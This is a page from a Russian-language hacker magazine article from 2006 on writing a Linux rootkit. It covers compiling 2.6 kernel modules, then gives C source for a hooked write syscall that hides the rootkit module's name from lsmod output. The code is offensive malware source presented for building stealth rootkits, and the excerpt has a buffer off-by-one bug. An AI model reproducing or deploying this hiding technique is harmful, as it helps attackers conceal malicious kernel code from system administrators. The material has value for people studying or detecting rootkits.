Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #96, ДЕКАБРЬ 2006 г.

Пишем руткит нового поколения

Иван Скляров

Хакер, номер #096, стр. 096-120-3


unsigned long *sys_call_table;

Компиляция модулей ядер 2.6.x

Компиляция модулей ядер 2.6.x существенно отличается от компиляции модулей в ядрах 2.4.x. Сначала необходимо создать Makefile со следующим содержимым (в качестве примера возьмем модуль с названием mod.c):

obj-m += mod.o

Затем нужно выполнить команду для сборки модуля следующего вида:

# make –C /usr/src/linux-`uname –r` SUBDIRS=$PWD modules

В том случае, если у тебя в каталоге /usr/src присутствует символическая ссылка linux на каталог с исходными текстами ядра, команда сборки будет выглядеть так:

# make –C /usr/src/linux SUBDIRS=$PWD modules

Как ты понимаешь, исходные тексты ядра должны быть установлены в твоей системе в каталог /usr/src. Если исходные коды ядра у тебя отсутствуют, то их нужно установить, иначе сборка модуля закончится с ошибкой. Устанавливать пакеты удобно через KDE или Gnome (ищи в меню функцию вроде «Установка программ»). Нужный пакет с исходными кодами ядра обычно имеет название вида kernel-source-номер_версии.

В результате выполнения команды в текущем каталоге образуется объектный файл модуля mod.ko. Обрати внимание: в ядрах 2.6 объектные файлы модулей имеют расширение .ko, а не .o.

Теперь модуль можно загрузить в ядро командой:

# insmod mod.ko

Просмотреть список установленных модулей можно командой lsmod, а удалить модуль - командой rmmod (здесь имя модуля указывается без расширения):

# rmmod mod

Далее все модули компилировать следует именно так, разумеется, подставляя каждый раз новые названия модулей в Makefile.

Скрытие модуля

С помощью утилиты strace мы можем узнать, какие вызовы задействует команда lsmod в своей работе:

# strace lsmod

open("/proc/modules", O_RDONLY) = 6

read(6, "hide_module 2440 0 – Live 0xd0db"..., 1024) = 1024

write(1, "hide_module 2440 0 "..., 33) = 33

Как видим, вызовом read читается строка из файла /proc/modules, а затем при помощи вызова write она выводится на экран. Поэтому в модуле мы просто подменяем вызов write (можно подменить read) и выполняем проверку на выполнение команды lsmod. Затем ищем в буфере имя нашего модуля и в случае его обнаружения просто возвращаем управление, в результате чего информация о модуле не выводится. Ниже показан отрывок из модуля, полный его исходный код (hide_module.c) ищи на DVD к журналу:

int new_write(int fd, const char* buf, size_t count)

{

char *temp;

int ret;

/* если выполнена команда lsmod */

if (!strcmp(current->comm, "lsmod")) {

/* выделяем память в пространстве ядра и копируем в нее содержимое буфера buf */

temp = (char *)kmalloc(count + 1, GFP_KERNEL);

copy_from_user(temp, buf, count);

temp[count + 1] = '\0';

/* если содержится имя нашего модуля */

if (strstr(temp, MODULE_NAME) != NULL) {

/* освобождаем буфер в куче и возвращаем результат */

kfree(temp);

return count;

}

}

/* выполняем оригинальный вызов */

ret = orig_write(fd, buf, count);

return ret;

}

Однако этот способ не позволяет скрыть модуль от простого просмотра содержимого файла /proc/modules, в котором находятся имена всех загруженных модулей. Конечно, мы можем по аналогии сделать дополнительные проверки и удалять информацию о нашем модуле при выводе информации. Но здесь сложность заключается в том, что просмотр выполняется множеством способов, например командой cat /proc/modules или dd if=/proc/modules bs=1, а также в Midnight Commander при помощи клавиши <F3> или <F4>.

Назад на стр. 096-120-2  Содержание  Вперед на стр. 096-120-4